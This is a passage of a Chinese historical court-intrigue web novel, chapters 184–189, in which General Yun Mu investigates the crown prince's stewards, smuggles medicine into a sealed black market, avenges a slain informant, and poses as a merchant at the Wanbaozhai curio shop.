“大人,人带到了。” 云暮嗯了一声,仍执笔在书案上写着什么,把手头上的事都处理完后,她叫来冯章,“这几份直接送到宫里,这一摞送去中郎将那儿,他签了字后就送去几个尚书那儿……” “对了,让人送壶茶进来。” 云暮指着一张圆凳,“暗一大人,坐吧,今日有些忙,让您久等了。” 暗一怎么瞧不出她是故意的,但他没有反驳,而是问云暮:“云将军,事情你想怎么查?” 来谈正事的,正好她不愿与他寒暄,“你有什么想法?” 暗一把侍卫递过来的茶推了回去,“裴然罪名小,皇上决意要保他,不如先从太子查起?太子与其必有牵连,到时我们再顺藤摸瓜,抓住他的把柄即可。” 先查裴然,难免会打草惊蛇,云暮也就同意了暗一的建议,“太子那边消息封锁着,但难免会有人给他递信,一会儿本将军会挑些眼生的人换了东宫的守卫,拦下消息。” 云暮把一沓密密麻麻的纸递给暗一,“这些是太子在京城内外的田庄商铺等的名单,有些是皇上的赏赐,有些是他派人买下的。” 云暮从其中抽出一张带着人像的纸:“此人名叫李轩,是管着太子在京城附近的田庄的管事,本将军派人去打听了一番,那些乡民对此都闭口不谈。” 她又抽出另一张人像:“此人名叫胡远宁,是替太子管商铺的总管事,下头的小管事每个月都必须先和胡宁远对过账才会把账册送到东宫。” 她点了点胡宁远,“说来倒也奇怪,太子名下大小商铺几十余间,胡宁远能从中捞到不少油水,但本将军每每见了他都是衣着朴素,把他丢进人堆里都找不着。” 不管遇到谁,他都是一副笑眯眯的模样,只是那笑始终不达眼底。 作为商户,见多了人世百态,这么多年,她不信胡宁远不为财帛动心。 暗一问道:“大人,一人查一个?” “那感情好。” 她拿起胡宁远的画像,狡黠一笑:“李轩那边就有老暗一大人了。” 李轩管着田庄,虽说是住在京城,但近来即将秋收,他经常往庄子上跑,云暮不愿见到暗一,便想着把人往外赶。 暗一将李轩的画像收好,又挑了一些有用的证据,“云大人忙吧,我先走了。” 云暮笑眯眯地说道:“本将军还有事,就不送你了。” 暗一才走,云暮就敛了笑,随意找了一个借口外出,一个拐弯的功夫,她出现在了大理寺门口,“程大人可在?” “程大人正和王爷在审那几个倒药卖的无良药贩子,小人给您领路。” 云暮这几日都没去鬼市,也不知师父和砚清最近如何了,她问道:“他们卖的什么药?” 领路的衙役为难地看了云暮一眼,不知当说不当说。 云暮有些莫名其妙:“怎么看着本将军做什么?难不成那药是从云府出去的?” 衙役连忙摆手“云将军说笑了,只是小人说之前得讨您一句不怪罪的话。” 云暮的脸色有几分难看,难道这事儿还和她师父有关? 她沉声道:“你说,本将军恕你无罪。” 衙役飞速地说了一句:“将军,听说那药喝了能壮阳,让男人重振雄风,好多人去买,结果有人喝多了之后,浑身滚烫如火炉,最后爆体而亡。” 衙役脚步略顿,等云暮离得近后才道:“听说有好几个人死在了青楼里,可把那些姑娘吓坏了,但为了钱,还是得继续接客。” 难怪衙役方才不想同她说,和一个太监说重振雄风,这不是找死吗? 不过听到与她师父无关之后,云暮也没太在意。 衙役进去通报时,云暮倚在门边的墙上,隔着门上的缝隙往里看去。 沈聿明和程文博并排而坐,对面是一个衣衫还算整洁的人,只是头发有些凌乱。 云暮心想,大理寺审案与他们金吾卫就是不同,身上不过是只带了一点干涸的血迹,看起来没受多大的刑。 这人要是进了诏狱也还像今日这般嘴硬,只怕一层皮都得脱下来了,那儿还有这待遇。 她看见程文博对她点了点头,又和沈聿明说了几句话后,就起身出来了。 “云将军,今儿怎么得空来大理寺?” 云暮把手中的盒子递了过去,“这是前几天新得的茶饼,听说程大人这几日忙得脚不沾地,我特来给你送温暖。” 程文博推拒:“你不用凡物,这茶饼应不便宜,云将军你也知晓,程某从不收旁人的东西,还是拿回去吧。” 他还没拿在手上就闻到了茶香,定是好茶无疑。 云暮不由分说地把茶塞到他手里:“那自然是好茶,这可是我师父从西域托人给我送来的,信上说这是他亲自去采的头茶,又加了几味药材一起炒,手都烫出了泡呢。” 师父亲自为徒儿做的,程文博更不能收了。 云暮板着脸道:“程大人这就见外了,这茶不是什么贵重之物,喝了能养目罢了,先前听你说嫂夫人看什么都眼花,不如拿回去让她试试?” 提到妻子的双眼,程文博也只能收下,他叹了一声,“她的那双眼都是为了我。” 云暮拍了拍他的肩,没有接话。 两人走到正堂,沈聿明的声音在他们身后响起:“程大人,他招了,但他也不知是何人把卖给他。” 程文博看着供词,“他亲自去拿的药,怎么不知对面是何人?” 沈聿明笑笑:“程大人有所不知,在鬼市里,大家皆蒙面,着黑衣,只能辩出个身形,有些人在里面做买卖会设一个暗号,对得上的才会卖给对方。” 程文博不解地问他:“秦殿下怎么会这么了解?倒像是去过一样。” 云暮心想,可不是去过嘛,去的还不止一次。最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百八十四章 送花 沈聿明轻咳了一声,“程大人本王平日里爱和一些下九流的人凑在一起,他们见多识广,也曾去过鬼市,本王听他们提过几次。” 程文博哦了一声,不打算在云暮面前提案件,“云将军今日来不单单是为了送茶吧?” 云暮起身告辞:“还真就是来送茶的,既然送到,那我就回去了。 若是此茶对嫂夫人有助益,程大人可告知我,我修书去给师父,问问他放的什么药材。” 程文博心里惦记着妻子,便让沈聿明替他送一送云暮:“殿下,下官这儿还有事没了,您能否送一送云将军?” 沈聿明笑道:“这有什么,云将军,请吧。” 到了无人处,云暮略去暗一,说出今日进宫之事,“王爷,那胡宁远老奸巨猾,凭我一人恐怕难以查到,不知王爷可有兴趣帮您皇兄一把?” 梁文帝好端端的,没事查什么太子,这是有废太子的想法了?沈聿明发现自己没有想象中的那般高兴。 沈聿明问道:“你是怎么做到的?” 距离他们上一次见面也没多久,他父皇昨夜训斥了太子一通,气分明消了大半,今天怎么会想到要废太子? 这个答案现在还不能告诉他,云暮竖起食指摇了摇:“王爷,你有秘密,我也有,现在还不该你知道。” 沈聿明垂头看了她一眼,“本王来猜一猜,是和砚清偷走的东西有关?” 她的戏演得太好,尸体也伪装得太好,所有人都当砚清真的背叛了她也真的死了。 云暮的脸色陡然变冷:“狗东西,我待他不薄,他竟然背叛我,他能有这个下场也是咎由自取,太子意图用他对我下手,自然也要付出代价。” “殿下若助我成事,将来朝堂就是你的一言堂。” 那就是和她有关了,沈聿明套到了话。见她不喜,沈聿明不再提起砚清的事。 他快行几步停在云暮面前,矜持开口“既然你都这么说了,本王哪有不应的道理,只是云大人不知求人办事得有诚意吗?” 说罢,他朝云暮伸出手,讨要礼物。 方才一进正厅,他就注意到桌上多了一个盒子,很显然是云暮带来的。 为了快些和他见面通消息,云暮已经搭进去了一块茶饼,现在他还要讨礼物,云暮只拿了一盒来,哪儿还有多余的给他? 她的双眼在廊下打转,忽而伸手扯了朵花放在沈聿明手里,“这是谢礼,事成之后,太子之位也差不多是你的了。” 朝中适龄的皇子没几个,按年纪,按资历,太子之位也都该落到沈聿明的头上。 但云暮还是说了一句,“皇上对太子寄予厚望,他未必没有翻身的可能,这一次不能摁死他也要提防,毕竟他身后还有崔家。” 而沈聿明的身后只有对大梁虎视眈眈的东胡。 沈聿明无奈地呵了一声,“一朵花换孤替你卖命,云大人真是好算计。” 话虽这么说,但他还是把那朵花虚虚地拢在手心,不敢使力。 门口距离正堂不远,两人很快就出了门,在云暮走前,沈聿明提醒道:“近日鬼市被封了,你莫要往那边跑。” 云暮拧着眉问道:“何时封的?要封多久?” 沈聿明还当她心疼辛百草,宽慰道:“昨夜封的,得封个四五日才能解禁。” 四五日还不够久?砚清的伤每日都得用药,也不知师父那里缺不缺药,早知道有这一遭,上次去时她就该拿些药去。 云暮情急之下,语气也到了怨念:“鬼市要封,你得了消息为何不告知我一声?” 沈聿明心里直呼冤枉,“本王也是昨夜才得了消息,等我到时,鬼市已经封了,再告诉你也无济于事。” 云暮顿时没了好心情,回布政坊牵了马就回云府。 “安叔,让砚石来库房找我。” 安叔看云暮急匆匆的模样,没有多问,抓了个小厮就让他去找人,他则跟了上去。 从腰间的一大串钥匙里找出库房的钥匙,锁头咔哒一声,门就开了。 “大人,你要找些什么?” 库房的东西都是安叔管着,他找起来肯定比她快,云暮说道:“我记得之前皇上赏过不少药,找出来,我有急用。” 安叔扫了一眼官服,“大人你受伤了?” 云暮摇头道:“不是,鬼市被封了,要封上四五日,砚清的伤耽搁不得,不知师父那儿的药够不够,我得给他送点去。” 安叔宽慰道:“大人,神医那儿应该备有药,鬼市被封了,东西您也送不进去啊。” 云暮拿起药往布袋里装,“可是砚清还在里面!进去的事儿我来想办法,安叔,你再去帮我买些东西,要……” 子时,城外的角门前,钱大壮看到提着大包小包的云暮和砚石,嘴巴张得老大,他赶忙上前接过东西,打趣道:“云将军,你是要把云府都搬到鬼市去?” 此前云暮在查米囊花一事,钱大壮门路多,替她打听过几次消息。鬼市之事,云暮本不抱有太大的希望,但还是找他碰碰运气,没想真是瞎猫碰上死耗子了。 云暮甩了甩被勒出红痕的手:“你说的那条路靠谱吗?真能到后山?路上没有官兵?” 钱大壮拍了拍胸膛,“大人,你还信不过小人嘛。这条路鲜有人知,您二位来之前,小人进去走了一圈,您只管跟着小人走,保证能把你们送到。” 三人趁着夜色钻进了角门下的一个小洞,一路滑到底后,云暮刚要掏出火折子,钱大壮像是早有预料一般,拿出一枚泛着微光的夜明珠。 云暮挑眉:“还没拿去卖呢?” 这夜明珠还是她以前赏给钱大壮的,他爱财,平日过得抠抠搜搜的,她当他早早拿去换钱了。 钱大壮宝贝地摸了摸夜明珠,“卖是不可能卖的,大人,小人要把他当成传家宝传下去。” 类似的珠子云暮还有好几颗,她忍笑道:“那你可得努力娶个婆娘,再生个大胖儿子或者女儿。” 钱大壮嘿嘿一笑:“小人娶亲,大人可得来捧场。” 这是好事将近了?云暮这下是真心实意消了:“还要给你备份大礼。” “大人,咱要走了,您可要看好路了。”最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百八十五章 大人,有动静 四周一片昏黑,只有夜明珠发出的微弱的光芒。 三人提着东西在这条窄道里绕了许久,云暮把细绳往手腕处移了移,用气音问道:“大壮,还要多久?” 钱大壮举起夜明珠看了看,“应该快了。” 云暮把耳朵贴在石壁上,隐隐有水声传来,她的心定了几分“我们还要渡河,先前备着的小船在他们把守的地方,水中有鼍,不可能游过去。” 钱大壮拍了拍胸脯,“大人,小人办事,您尽管放心,木筏小人已备好,他们发现不了。” 钱大壮平日里有些小聪明,但着实懦弱,这一次却肯舍命为她奔波,若不是她发现钱大壮没有撒谎,她都要怀疑对方是大理寺派来诱蛇出洞的探子了。 钱大壮挠着后脑勺憨笑:“大人,小的最近不是快娶妻了嘛,想着在京城里置办一座小宅子,但还缺些银两。” “她一直有个心愿,就是能住在一个带着小院的房子。虽说婚期已定,但小人还是想给她一个惊喜。” 有八卦听,云暮的手顿时就不酸了,“是哪家的姑娘?” 钱大壮的耳根有些红,只是他人黑,如今光线又暗,竟没叫云暮发现。 “大人不认得,她和小人是一个村的。早年干活摔断了腿,她爹娘不舍得花钱治,腿落下了毛病。 腿脚不便,做不了多少活,她爹便想把她卖给隔壁村的傻子当媳妇儿。小人当时就住在村里,见她可怜,就花了这些年攒的积蓄把她买下。 平日我在外头做工,她就住在小人家里,做些针线活,种些菜,日子得过且过。村里还是有流言蜚语传出。小人想着把她记为妹子,但她却说不如两人一起搭伙过日子。 小人当她想还恩情,一开始没答应,后来相处久了,就……心意相通了。小人也老大不小了,她已经被拖成大姑娘了,小人便想着早早把婚事定了。” 云暮的手无意识地抓紧了细绳,笑道:“这是好事,看中了哪座宅子,本将军替你买下,作为你的新婚贺礼。” 这些年查案办案,钱大壮出过不少力,送他一座宅子也使得。 钱大壮这一次拒绝了他:“大人的心意小人心领了,只是小人想靠自己给她买下。” 云暮没把他的话放在心上,而是想着出去后让砚石去打听打听,她先买下,再低价卖给钱大壮。 狭长的小路在钱大壮的絮絮叨叨下也变得格外短。忽而,钱大壮收了声并嘘了一声:“大人,有动静。” 三人同时停住了脚步,把耳朵都贴在石壁上,几个守卫的交谈声传入他们的耳中,许是有些距离,他们都听不大清。 钱大壮对云暮说道:“云大人和砚石大人先在此处等候,小人去看看。” 光亮远去,云暮看不到周遭的情况还是有些不安,她将东西无声地放在地上,从怀中摸出了火折子,一手虚拢着,挡住些许光线。 她看着钱大壮一点一点往前挪,拐了个弯后就不见了身影,她和砚石对视了一眼,从他的眼底看到了怀疑。 砚石学着他的样子把东西都放在地上,“大人,属下来拿吧,免得烫伤。” 云暮拒绝了他,转而打量起眼前这条只容一人通过的窄道,就在钱大壮身影消失的地方,她隐约看见好像有两条路。 很快,钱大壮轻手轻脚地回来了,“大人,他们在那头守着,咱从另一头出去。” 云暮蹙眉问道:“这条路出不去了?那船怎么办?” 钱大壮解释道:“船被小人藏在这两个出口的中间,那儿大半都被水淹了,他们看不见,也过不来,” 事到如今,云暮也只能选择相信钱大壮的话。 从另一个出口出来,一个守卫也没有,云暮终于松了一口气,她急忙道:“船。” 在窄道里消磨了太多时间,她现在急着确认师傅和砚清的安全。 钱大壮虽不知云暮想做什么,但见他如此情急,当下就去取了船来。 “大人,上船,我带你们过去。” 云暮一脸为难地看着他,砚清在京城人眼里已经死了,砚石还为他哭丧了几天,她虽信任钱大壮,但也知人心难测,她怕对方以后拿砚清还活着的事相要。 钱大壮做跑堂的,最会看人脸色,当下直接跳下船,指着前头说道:“大人,您从这儿进去,然后再往左划……” 云暮拍了拍他的肩,坦诚道:“大壮,不是信不过你,只是有些事知道得越多,死得就越快,往后还少不得要你帮忙做事,我可舍不得你死。” 阎罗亲口解释,钱大壮的不悦顿时消散,他指着洞口笑道:“大人,小人知晓,小人在此等大人回来。” “好,若是情况不对你就先离开。” 云暮把东西都放在船上,临走前,她心中有些不安,再次招来钱大壮,叮嘱道:“你现在就回去,这儿不用你守。” 钱大壮用力把他们的船往水里推,对他们挥了挥手“大人您只管去,小人能顾好自己,快去快,小人等着您的赏银呢。” 云暮和砚石划着船桨,朝钱大壮说的方向驶去,果真一路畅通,别说守卫,就连一个火把都看不见。 登岸后,云暮打量着四周,发现他们竟是从后面绕到这座岛上来。师父那座灯火通明的院子此刻一片漆黑,越往小院走,她的心提得就越高。 她推了推后门,没推动。 砚石翻身进院子欲从里开门,,而后打斗声起。云暮当即丢下东西翻进了院子。 火折子照亮了来人的脸,“师父?!您没事吧?” 辛百草也微微瞪大了眼:“暮儿,你怎么来了?外面官兵层层把守,这节骨眼你还敢来,不要命了?” 云暮举着火折子把人从头到脚打量了一番,发现他没事后,才松了一口气。 砚石急道:“神医,我兄长可好?” 辛百草示意他们放心,带着他们往前院走去“你都叫我神医了,他怎会不好?” 云暮拉住他的衣袖,指着紧闭的后门道“师父,门外还有东西。”最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百八十六章 赤焰虫 辛百草看着门外的这一堆东西,有些哭笑不得:“你们这是做什么?” 云暮道:“徒儿白天才知鬼市被封了好几日,鬼市不比外头,缺了东西您也出不去,徒儿这不孝敬您来了。” 辛百草点了一盏蜡烛,看着云暮和砚石把包袱里的东西一一摆在桌上,新鲜的青菜和肉,各种点心,最重要的是还有大包小包的药材。 辛百草随手拿起一包,“这药不错啊。” 云暮当着砚石的面直接道:“皇帝老儿给的,您看看哪些是砚清用得到的,缺什么药也只管告诉徒儿,徒儿明日送来。” 辛百草作为神医,手里怎会缺药,他敛了笑:“这几日你们别来了,药够用,用不着以身犯险。别说如今还有一个病号,你看为师像是那种会短了自己吃喝的人吗?” 云暮怕他是不想让她担心,对砚石说道:“我和师父说两句话,你先去看看砚清。” 辛百草叫住要往隔壁房间走去的砚石:“他不在那儿,你随我来。” 云暮:……那她支走砚石的意义何在? 好在辛百草也只是把人带到了又折了回来,领着云暮往厨房走去,“这下总该相信了吧?” 云暮嘴角微微抽搐:“师父,你什么时候养了这些个东西?” 木盆里摇曳的鱼,还有正窝在木筐上睡觉的鸡。 辛百草倚在门边,“你听说鬼市被封的原因了吗?” 云暮点头:“说是有人倒卖壮阳药,吃死了几个人,事情闹大了之后,有人从鬼市抓了人送到大理寺,他们这才封了鬼市。” 这确实不假。 辛百草拿出一小包东西,当着云暮的面打开,里头是药粉。 云暮接过:“这就是那个药?” 辛百草嗯了一声,“最有意思的是,里头有一味药,就连为师都闻不出。” 他不说能认全世间之药,可但凡有药物过了他的手,他都不会忘,再结合此药的药性,他能想到的只有一个。 师父都认不出,云暮没见过,自然也认不出,她诚实地摇头:“师父,徒儿不知。” 辛百草说道:“你可还记得寒虫?” 云暮回想起那些被冻得梆硬的人,“记得。,师父那日还说,能解寒虫之毒的唯有赤焰虫。” 她顿了顿,“师父,您的意思是,那道不认识的药是赤焰虫?” 辛百草欣慰点头:“应该是,但这也只是为师的猜测。” 云暮不解道:“可您不是说过,服了赤焰药,见日必死,且被烧得灰飞烟灭,尸骨无存吗?” 辛百草收起那包药粉:“不错,但这些说法也是师父听人说来的,还未去查证。” 云暮还是半信半疑:“可我听说有人死在了女人的肚皮上,他们并未见到太阳,这与您当初说的那些话不符。” 辛百草拍了拍她的脑袋:“师父也是人,哪有事事都知,等砚清的事了了之后,为师要南下去一趟南疆。” 赤焰虫出自南疆。 师父还没在京城住多久,又要离开,云暮有人可依惯了,心里有些不舍,但穷极一生把大梁没有的药变成医书是他的毕生心愿。云暮只能道:“师父你这次可不许不辞而别。” 如今她已经长大了,不会同小时候那般和师兄吵着闹着要跟去。 辛百草摸了摸鼻子轻咳了一声:“时候不早了,你该去看看砚清,然后回去了。” 砚清的脸色比起上次红润了不少,云暮算了算日子,再有几日就该换脸了,她道:“那日我和砚石都会来,师父的医术,你放心。” 砚清虽然一直待在房中,但这里只有他和辛百草两人,对方偶尔也会和他说一些外面的事,知云暮他们冒了危险进来,私心想他们再留下一会儿,但他不敢再留,时间拖越久,他们越危险。 “大人,你们快回去吧,那日不来也没事。” 云暮怎么会不来,她没有和砚清争,只道:“你好好养伤。” 辛百草把他们从后门送了出去,云暮最后又问了一句:“师父,你的药当真够用?” 辛百草挥挥手:“快走快走,你现在比你师兄还像老妈子,真怀念小时候那个不苟言笑的小大人啊。” “师父!” 手下还在呢,能不能给她留些面子? 云暮恼羞成怒,拿起船桨在水面上拍了一下,水花溅起。 辛百草往后退了两步,不再取笑她:“好好好,是为师说错话了,别闹了,等会儿把官兵引来,这小船可坐不了四个人,为师可不想葬身鼍腹。” 云暮顺着原路返回,固在船头和夜明珠和一个算不上亮的小灯笼让他们的视野明亮了不少,隐隐能看见洞口就在前方。 他们没有着急划出去,而是收起船桨,手扶着石壁一点一点往外挪。 水声响起,接着是人说话的声音。 “晦气,这儿怎么会有人,还好把他除掉了,否则真让他混进鬼市,我们不好交差。” “这颗夜明珠倒是好东西,他看着一脸猥琐样,可别是从哪里偷来的。咱先藏好,等明儿拿去卖,钱平分。” 一听到声音,砚石眼疾手快地灭了等。 夜明珠?云暮的心又开始发慌,但她还在自我欺骗,她已经让钱大壮走了,不可能是他! 砚石显然也想到了,面色有些难看。 扶着墙壁的手忽然握紧,云暮的脚碰到船桨,发出声响。 “什么人在哪里?” 他们的位置不算靠外,但云暮还是怕被他们发现,她深吸了一口气,指了指里面,示意砚石往里退。 守了好几日,也无人敢闯进鬼市,他们也就没有准备小船。两个守卫也不确定鼍会不会顺着血腥味来到这边,他们不敢轻易下水,只能用沾了火油的剑往发出水声的位置射。 云暮的船已经退到里面,火箭射不到,也映不出他们的身影。 他们的动静很快就引来了人,有人从那面石壁探出个头问道:“发生什么事了?” “听到水声,像是有人。” 那人笑他们二人胆小:“这鬼地方哪还有人敢来,那你们可得小心了,别被水中的鼍给拖了去。”最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百八十七章 处理后事 云暮身下的船未动,又有水声传来,她借着夜明珠的光隐隐能看到有什么东西浮出水面,又没入水中。 那两个守卫的手里还举着火把看得比云暮更清楚,他们不敢淌水过去,又怕鼍上岸咬人,于是指着漂浮在水面上的尸体道:“那儿有个现成的,别来吃我们。” 云暮趁乱又把船划到最外边,观察着这两人的一举一动,又摸出了几颗从辛百草那儿顺来的小石子。 她心想,要是有弹弓在就好了。 方才探头的那个人又被他们的话引来,看到鼍的身影后,他顿时又缩了回去,不再露头“人是你们杀的,自求多福吧。” 云暮算好角度,拿起船桨,把石子往上一抛,对着贴墙而的二人拍了过去。 力道重,速度也快,石子正中其中一人的眉心,剩下的一个猛然把人一推,用声音来盖住内心的惊慌:“是谁?谁在装神弄鬼?” 鼍吃人肉,与他们一墙之隔的人即便听到动静也不会冒死过来,哪怕同伴此刻正在呼救。 那人从旁边的尸体上摸出那颗夜明珠,“你们过来救我,我就把夜明珠给你们。” 他平日里扯谎惯了,此刻竟无一人信他,“你拿夜明珠塞那大鼍嘴里找生路吧。” 他如今在的角度云暮打不着,她低声道:“往前,让船身出去一半。” 砚石没动:“大人,还是等他过来吧,被发现就不好了。” 奚落声再次响起,云暮信誓旦旦道:“他们不会过来,把他打了之后,我们直接上岸,找到大壮的尸体。” 砚石无法,只能慢慢将船往外推,那人还在扒着石壁,想淌过去却不敢。 咚的一声,云暮再次打出石子,那人错愕地捂着后脑勺,缓缓倒下,手中的夜明珠骨碌碌地滚下,最后被卡在了一个缝隙。 云暮握紧有些开裂的船桨,一左一右飞速划着,在离岸边只有三步之遥时,她看到了水面上浮着一具尸体。 两个守卫的都还在岸上,那具应该就是钱大壮的,他的附近水波微动。 云暮把怀中的石子都掏了出来,一股脑地砸了下去,高高举起船桨对鼍的头狠狠一敲。 鼍吃痛,粗壮的尾巴在水中拍打,小船摇晃,云暮双手撑住船的两侧,尽力稳住。 待平稳后,云暮拿着船桨把人往船边带,砚石威慑似地拿着船桨在水面拍打,见鼍不敢再冒头后,他才和云暮一道把钱大壮搬到船上。 泡在水里的时间还不久,但皮肤已经发皱,前不久那双还叭叭个不停的嘴此刻苍白无血色。 来不及难过,云暮先把船划到了岸边,他们才上岸,身后的船就被鼍尾掀翻。云暮抓起火把往鼍身上砸。 淬了火油的火把哪能这么容易熄灭,鼍的皮虽厚,但不是不怕疼,它只能再次潜到水中。 云暮这才蹲下身去看钱大壮,她不死心地把双指搭在钱大壮的颈侧,没有感受到脉搏跳动。 砚石水中的火折子从他脸上往下,最后停在了胸口处。 黑衣已然破了个洞,露出里面红色的里衣,可露出的袖子分明是白色的。 那是,血。 云暮深吸了一口气,把一死一昏的守卫拖到钱大壮身边,并排躺着。 云暮扒下那个没死透的人的衣服,又塞入他的口中,再用腰带狠狠勒住,让他半点声音都泄不出。 把人弄醒后,云暮让砚石当着他的面把他的同伙丢入水中,“先划几个口子,它们喜欢血腥味。” 带着血腥味的尸体才下水,方才吃了瘪的鼍就跟疯了一样撕咬翻滚,不过片刻就只剩下几片破碎的布料在水面漂浮。 守卫惊恐地摇头,嘴巴被堵住的他一句求饶的话都说不出口。 云暮指着钱大壮道:“这个人是你杀的?” 守卫迟疑地点了点头,又挪动了两下,露出腰间的腰牌。 云暮低头扫了一眼,勾着唇问他:“大理寺的人,想要本将军看在程大人的面子上放你一马?” 那人的头跟锄头凿地般点着。 云暮摸了摸她的脸,“可是你看见了本将军的脸。”她今夜前来,没有易容。 那人唔唔了几声,云暮又道:“你是说你会死守秘密,不然其他人知晓?” 那人又是一阵点头。 云暮猝不及防地挥着船桨搭在他的脑袋上,这一次,她用了十成力,人直接被她打死了。 “丢下去。” 云暮去捡了那颗夜明珠,塞回钱大壮的怀中。等她走到洞口时,才发现洞口已被石头挡住,鬼市昏暗,没被守卫发现。 钱大壮死前都还在想着让她凭平安出了鬼市。 云暮鼻头发酸,双眼有些湿润。钱大壮不久后就要成亲,是她非要来这鬼市,是她提防钱大壮,是她害死了他。 云暮借着对金吾卫巡街时间的了解,没有惊扰任何人,平安抵达云府。 “明儿去买一副上好的棺材,把人葬了,再去查一查那个女子。” 她能做的也只有尽力弥补罢了。 两阵水声过后,那头的守卫久久没有听到动静,小心翼翼地探出半颗头来看,却只看见那两根快熄灭的火把,人已经没了。 漂浮的衣片,残留的血,还有消失不见的夜明珠,守卫怀疑这儿还有其他人闯入,上头若是怪罪下来,他们也难逃刑罚,是以不敢声张。 将染了血的石头全都丢入水中,把一切的过错都推到鼍身上,几个无名小卒的死就这样轻飘飘地被压下了。 钱大壮的事在他们村算不上秘密,当天人就被带到了京城。那位姑娘见到云暮,还当自己犯了什么事,一出口就是求饶的话。 云暮把一张地契放在桌上:“这是钱大壮托本官送来的,里头的东西一应俱全,你可以随时搬进去。” 求饶声停,姑娘拿起地契,心里有些不安:“大人,他人呢?为何不自己来送?” 云暮不知该怎么和她说,只好扯了一个谎:“昨儿他跟着镖队去走镖,临走前买下了这间屋子,怕你担心,就没和你说。他还说,若他不归,你可自行婚配。” 第一百八十八章 万宝斋 云暮不忍再看姑娘欣喜又担忧的表情,迈着沉重的步伐走出,“往后多留意些,莫让旁人欺了她。” 等过上几个月,再让人来封书信,谎称钱大壮身死,这是如今最好的解释了。 她一天都没有消息,急得沈聿明恨不能亲自去一趟布政坊,在他有所行动前,云暮那边终于来了东西来。 “万宝斋见。” 既是去查胡宁远,自然不能暴露身份,连信一起送来的还有一张人皮面具。 沈聿明对着铜镜把人皮面具贴在脸上,心中哀怨,从前都是云暮替他贴,他还能趁机把人搂住,而现在,他只能自己动手。 午间,万宝斋来了两个出手阔绰的商户,东西还没买就给为他们介绍珍宝的小二赏了不少银子。 但就这点蝇头小利还不至于让胡宗远现身。 云暮专挑店里贵重的东西,“这个,这个,还有那几个,我都要了。” 小二看着她指着的东西,下巴惊得快到掉到地上了。旁人不知,但小二却是知的。 万宝斋背靠太子,每有贵人举办宴会,那些妇人就会带着女儿来万宝斋买饰品,但这些都是看在太子的面子上。 万宝斋之所以叫万宝斋,因他卖的东西不拘于一个种类,小到首饰,大到古董文玩,这些可不是什么人都能买的。 “客官,这些都不便宜,不如您再看看其他的?” 方才还带着笑的脸忽然绷住,云暮拍出一张五万两的银票,冷声问:“不过是一些小玩意罢了,能花几个子儿?这些够不够,不够老子这儿还有。” 说罢,她又掏出一张五万两的银票。 这可是十万两,要都能卖出去,管事给他的提成自然不会少,小二脸上的笑容越发深了。 “客官您说笑了,您先去留上雅间稍作片刻,小的先去和掌事通报一声,再给您把方等下都拿上来。” 人被唬住,云暮又把银票揣了回来,“快去快回,耽搁了我们哥俩的时间,你们可担不起损失。” 小二讨好道:“自然不会。” 云暮两人一进万宝斋,胡宗远就注意到了这两人,来他这儿的大多都是那些高门大户的妇人和女子,他倒是第一次有商贩来他这儿进货。 他问小二:“那两人是怎么一回事?” 小二答道:“他们说是从西域那边来的,要买琉璃盏……这些东西,” 钱太多,小二不敢贸然做主,只能先来给胡宗远回话。 “胡管事,是否要卖给他们?” 胡宗远捋了捋须:“卖为何不卖,今年田庄收成一般,今日就来了两个冤大头,这笔生意怎能不做?” 不到一会儿,云暮点名要的东西都送到了他们所在的雅间,云暮刚要抬手碰,胡宗远的声音就传了过来:“客官,这个是武朝传下来的,可得小心了。” 古玩之类的东西怕被人掉包,一般都得挡着人的面拿,云暮作为一个“莽撞的商户”,她得不服。 “你又是何人?这有何摸不得,就算是摔了,我亦赔得起。” 她当即拿起那个玉壶,漫不经心地在手里把玩。 胡宗远笑着拱手:“胡宗远,是万宝斋的管事。”说完他开始和云暮二人介绍起玉壶的来历。 云暮学得杂,什么都看,当然也知晓。 此玉壶是武朝明帝的陪葬品,而武朝距离大梁已经过去了三百余年。 玉壶被武朝的摸金手盗出后,摸金手恐事情败露,将玉壶埋在自家院子几十载,后被其子孙挖出,几经流转,先后进过不少人的棺,最后就出现在了万宝斋。 因人们觉得玉壶几经被盗,又常被放在死人身边,多少沾了阴气,于家宅不好,一直无人买了去。 云暮瞧着这个玉壶通体碧色,只在底部有些血沁,有些怀疑玉壶的真假。 她将玉壶递给沈聿明,“你也看看。” 两人当着胡宗远的面一唱一和,有来有回。 “你瞧瞧这包浆,这么多年了看起来还像是新雕出来的。” “再看看……” 他们越说,胡宗远的面色越发难看,他作为太子的管事,好东西见过不少,当然也能认出玉壶的真假,但他怎能承认,那不是坏了太子的招牌吗? 他猛拍桌面:“二位既心不诚,这桩生意咱还是作罢吧。” 云暮抖了抖翘着的腿,“胡管事莫怪,不是我们多疑,实在是此前被人诓过。 前两年倾尽家财买了一套头面,后来送给北域的王后时才知那是赝品,脑袋和身子差点分了家。” 云暮边说边摸着脖子,有些后怕。 这事闹得不算大,但胡宗远也听说过,他审视着面前的这两人,忽然道:“两位小兄弟既是从西域来的,为何满口大梁官话?” 此前没和沈聿明对过口供,也不知他听没听过这俩兄弟,两人对视了一眼后,沈聿明神色自若地接过话。 “胡管事有所不知,我们兄弟二人的祖父祖母是京城人士,虽因糊口去了西域,但一日都不敢忘了京城是他们的根,特意请了京城的先生去教。” 云暮特意一笑:“不说旁的,我们家的大梁官话在西域是出了名的好,胡管事若是不信,尽可派人去西域查。” 真要派人去,这一来一回得耗费不少时日和银钱,胡宗远哪会做这种事,他打着哈哈道:“陈胡两家同根同源,贤弟说这话就是在怪为兄了。” 云暮心里嗤笑了一声,陈胡同根同源还得从舜帝算起,这都隔了快一千年了,还能攀上关系,一口一个贤弟,也难怪胡宗远能当上总管事。 云暮的脸色终于好了几分,“不瞒您说,眼下就快到北域王后的生辰礼了,家父特意派我们兄弟二人回京寻一件称心的礼物。 回京城一打听,大家伙都说万宝斋的东西都是一顶一的好,我们这才找了过来。” 胡宗远的笑也多了几分真心实意,他把小二都赶了出去,对着两个疑惑的人道:“不瞒二位,万宝斋背后的主子可是……东西绝不可能是赝品,你们尽管放心。” 第一百八十九章 你认识她? 云暮看着他指向的方向,反问道:“胡管事莫不是把我们兄弟当傻子了,从前在西域也就罢了,如今到了京城,我们早就把消息都打探清楚了。” “太子私藏兵器,已经被皇上禁了足,崔家都没敢求情,太子何时能出来都说不定呢。 